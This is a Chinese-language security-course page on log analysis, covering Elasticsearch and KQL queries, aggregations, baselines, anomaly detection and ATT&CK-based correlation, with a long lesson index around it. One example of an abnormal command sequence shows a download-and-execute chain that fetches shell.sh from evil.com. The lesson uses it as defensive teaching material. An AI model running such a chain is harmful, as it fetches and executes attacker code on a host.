公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-278-日志分析技术
# Day 299: 日志分析技术 - 搜索/统计/基线/异常检测 > 安全运维系列第 9 天 | 预计阅读时间:25 分钟 | 难度:★★★☆☆ --- ## 清单 目录 1. [日志分析概述](#日志分析概述) 2. [搜索技术](#搜索技术) 3. [统计分析](#统计分析) 4. [基线建立](#基线建立) 5. [异常检测](#异常检测) 6. [关联分析](#关联分析) 7. [分析实践](#分析实践) 8. [总结与思考](#总结与思考) 9. [参考资料](#参考资料) --- ## 日志分析概述 ### 分析目标 **安全检测**: - 发现已知威胁 - 识别异常行为 - 检测攻击活动 **事件调查**: - 还原攻击链 - 确定影响范围 - 收集证据 **运营优化**: - 识别误报模式 - 优化检测规则 - 提升运营效率 ### 分析层次 **描述性分析**:发生了什么? - 日志搜索和过滤 - 统计和聚合 - 可视化展示 **诊断性分析**:为什么发生? - 根因分析 - 关联分析 - 模式识别 **预测性分析**:将要发生什么? - 趋势预测 - 风险评估 - 威胁预警 **规范性分析**:应该怎么做? - 响应建议 - 防御优化 - 策略调整 --- ## 搜索技术 ### 全文搜索 **Elasticsearch 查询**: ```json // 简单查询 GET /security-logs/_search { "query": { "match": { "message": "failed login" } } } // 短语查询 GET /security-logs/_search { "query": { "match_phrase": { "message": "failed login attempt" } } } // 多字段查询 GET /security-logs/_search { "query": { "multi_match": { "query": "admin login", "fields": ["message", "user.name", "event.action"] } } } ``` ### 结构化查询 **布尔查询**: ```json GET /security-logs/_search { "query": { "bool": { "must": [ { "match": { "event.action": "login" } }, { "match": { "event.outcome": "failure" } } ], "filter": [ { "range": { "@timestamp": { "gte": "now-1h" } } }, { "term": { "src.ip": "192.168.1.100" } } ], "must_not": [ { "term": { "user.name": "service_account" } } ] } } } ``` ### KQL (Kibana Query Language) **基础语法**: ``` # 字段匹配 src.ip: 192.168.1.100 # 全文搜索 "failed login" # 逻辑运算 event.action: login AND event.outcome: failure # 范围查询 src.port: > 1024 # 通配符 user.name: admin* # 存在性检查 src.ip: * ``` **高级语法**: ``` # 嵌套字段 user.id: 1000 AND src.ip: 192.168.* # 时间范围 @timestamp >= "2026-04-12T00:00:00" AND @timestamp < "2026-04-13T00:00:00" # 组合查询 (event.action: login OR event.action: logoff) AND user.name: admin ``` --- ## 统计分析 ### 聚合分析 **计数聚合**: ```json GET /security-logs/_search { "size": 0, "aggs": { "events_by_action": { "terms": { "field": "event.action", "size": 20 } } } } ``` **时间序列聚合**: ```json GET /security-logs/_search { "size": 0, "aggs": { "events_over_time": { "date_histogram": { "field": "@timestamp", "calendar_interval": "hour" }, "aggs": { "unique_sources": { "cardinality": { "field": "src.ip" } } } } } } ``` **统计指标**: ```json GET /security-logs/_search { "size": 0, "aggs": { "response_stats": { "stats": { "field": "http.response.bytes" } }, "response_percentiles": { "percentiles": { "field": "http.response.bytes", "percents": [50, 90, 95, 99] } } } } ``` ### 常见统计场景 **Top N 分析**: ``` Top 10 源 IP: GET /security-logs/_search { "size": 0, "aggs": { "top_sources": { "terms": { "field": "src.ip", "size": 10 } } } } Top 10 用户: GET /security-logs/_search { "size": 0, "aggs": { "top_users": { "terms": { "field": "user.name", "size": 10 } } } } ``` **趋势分析**: ``` 登录失败趋势: GET /security-logs/_search { "size": 0, "query": { "match": { "event.action": "login_failure" } }, "aggs": { "trend": { "date_histogram": { "field": "@timestamp", "calendar_interval": "day" } } } } ``` --- ## 基线建立 ### 基线类型 **数量基线**: - 日志量基线(按小时/天) - 事件数基线 - 用户活动基线 **行为基线**: - 用户登录时间基线 - 访问模式基线 - 命令执行基线 **性能基线**: - 响应时间基线 - 错误率基线 - 资源使用基线 ### 基线计算方法 **简单基线**: ``` 平均值基线:μ = Σx / n 标准差基线:σ = √(Σ(x - μ)² / n) 正常范围:μ ± 2σ (95% 置信区间) ``` **时间序列基线**: ```python # 按小时建立基线 hourly_baseline = {} for each hour in 0-23: values = [count for same hour in past 7 days] hourly_baseline[hour] = { 'mean': mean(values), 'std': std(values), 'min': min(values), 'max': max(values) } ``` **分位数基线**: ``` P50 (中位数): 正常水平 P90: 警告阈值 P95: 严重阈值 P99: 极端阈值 ``` ### 基线维护 **基线更新策略**: - 滚动更新(指数加权移动平均) - 定期重算(每周/每月) - 事件驱动更新(环境变更后) **基线版本管理**: ``` baseline_v1.0_2026-04-01.json baseline_v1.1_2026-04-08.json baseline_v2.0_2026-05-01.json ``` --- ## 异常检测 ### 统计异常检测 **Z-Score 方法**: ```python def zscore_anomaly(value, mean, std): zscore = (value - mean) / std if abs(zscore) > 3: # 3 倍标准差 return True, zscore return False, zscore # 示例 # 当前值 1000,基线均值 500,标准差 100 # zscore = (1000 - 500) / 100 = 5 # 异常! ``` **IQR (四分位距) 方法**: ```python def iqr_anomaly(value, q1, q3): iqr = q3 - q1 lower_bound = q1 - 1.5 * iqr upper_bound = q3 + 1.5 * iqr if value < lower_bound or value > upper_bound: return True, 'outlier' return False, 'normal' ``` ### 机器学习异常检测 **孤立森林 (Isolation Forest)**: ```python from sklearn.ensemble import IsolationForest # 训练模型 model = IsolationForest(contamination=0.01) model.fit(training_data) # 检测异常 predictions = model.predict(new_data) # -1 表示异常,1 表示正常 ``` **One-Class SVM**: ```python from sklearn.svm import OneClassSVM # 训练 model = OneClassSVM(nu=0.01, kernel='rbf') model.fit(normal_data) # 检测 predictions = model.predict(test_data) ``` ### 行为异常检测 **用户行为基线**: ``` 正常行为模式: - 登录时间:9:00-18:00 - 登录地点:办公室 IP - 访问系统:业务系统 A、B 异常检测: - 凌晨 3 点登录 → 时间异常 - 从国外 IP 登录 → 地点异常 - 访问数据库服务器 → 系统异常 ``` **序列异常检测**: ``` 正常命令序列: cd /var/log → cat syslog → exit 异常命令序列: cd /etc/passwd → cat passwd → wget http://evil.com/shell.sh → chmod +x shell.sh → ./shell.sh ``` --- ## 关联分析 ### 时间关联 **时间窗口关联**: ``` 规则:5 分钟内同一源的多次失败登录后成功登录 事件序列: T0: 00:00 - 登录失败 (src: 192.168.1.100, user: admin) T1: 00:01 - 登录失败 (src: 192.168.1.100, user: admin) T2: 00:02 - 登录失败 (src: 192.168.1.100, user: admin) T3: 00:03 - 登录成功 (src: 192.168.1.100, user: admin) → 关联为:暴力破解成功事件 ``` ### 实体关联 **IP 关联**: ``` 同一 IP 的多类活动: - 端口扫描 - Web 攻击尝试 - SSH 暴力破解 → 关联为:针对性攻击 ``` **用户关联**: ``` 同一用户的多系统活动: - VPN 登录 - 邮件系统访问 - 文件服务器访问 - 数据库查询 → 关联为:完整用户会话 ``` ### 攻击链关联 **MITRE ATT&CK 映射**: ``` 检测到的事件: 1. 钓鱼邮件点击 → Initial Access (T1566) 2. 恶意宏执行 → Execution (T1059) 3. 注册表修改 → Persistence (T1547) 4. C2 通信 → Command and Control (T1071) 5. 数据打包 → Collection (T1560) 6. 数据外传 → Exfiltration (T1041) → 关联为:完整攻击链,高优先级事件 ``` --- ## 分析实践 ### 调查工作流 **1. 定义调查范围**: - 时间范围 - 相关实体(IP、用户、主机) - 事件类型 **2. 数据收集**: ``` 搜索相关日志: - 源 IP 相关日志 - 目标 IP 相关日志 - 用户活动日志 - 系统日志 ``` **3. 时间线重建**: ``` 按时间排序事件: T0: 初始活动 T1: 升级活动 T2: 可疑活动 T3: 确认事件 ``` **4. 根因分析**: - 5 Why 分析法 - 鱼骨图分析 - 故障树分析 ### 分析工具 **Kibana Discover**: - 交互式日志浏览 - 字段筛选 - 时间范围选择 **Jupyter Notebook**: ```python # 日志分析示例 import pandas as pd from elasticsearch import Elasticsearch es = Elasticsearch() # 查询数据 query = { "query": {"match": {"event.action": "login"}}, "size": 10000 } result = es.search(index="security-logs-*", body=query) # 转换为 DataFrame logs = pd.DataFrame([hit['_source'] for hit in result['hits']['hits']]) # 分析 login_by_hour = logs.groupby(logs['@timestamp'].dt.hour).size() login_by_hour.plot(kind='bar') ``` --- ## 总结与思考 ### 核心要点回顾 1. **搜索技术**:全文搜索、结构化查询、KQL 2. **统计分析**:聚合分析、时间序列、Top N 3. **基线建立**:数量基线、行为基线、维护策略 4. **异常检测**:统计方法、机器学习、行为分析 5. **关联分析**:时间关联、实体关联、攻击链关联 6. **分析实践**:调查工作流、工具使用 ### 深入思考 **分析的挑战** - 数据量大,难以全面分析 - 误报率高,分析师疲劳 - 攻击手法演变,检测滞后 **最佳实践** - 建立标准化分析流程 - 结合自动化和人工分析 - 持续优化检测规则 - 积累分析经验和知识 --- ## 参考资料 ### 学习资源 - **Elasticsearch Query DSL**: https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl.html - **MITRE ATT&CK**: https://attack.mitre.org ### 工具资源 - **Kibana**: https://www.elastic.co/kibana - **Jupyter**: https://jupyter.org --- *Day 299 完成 | 日志分析技术详解 | 字数:约 11,000 字*
myh0st
2026年4月13日 23:21
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码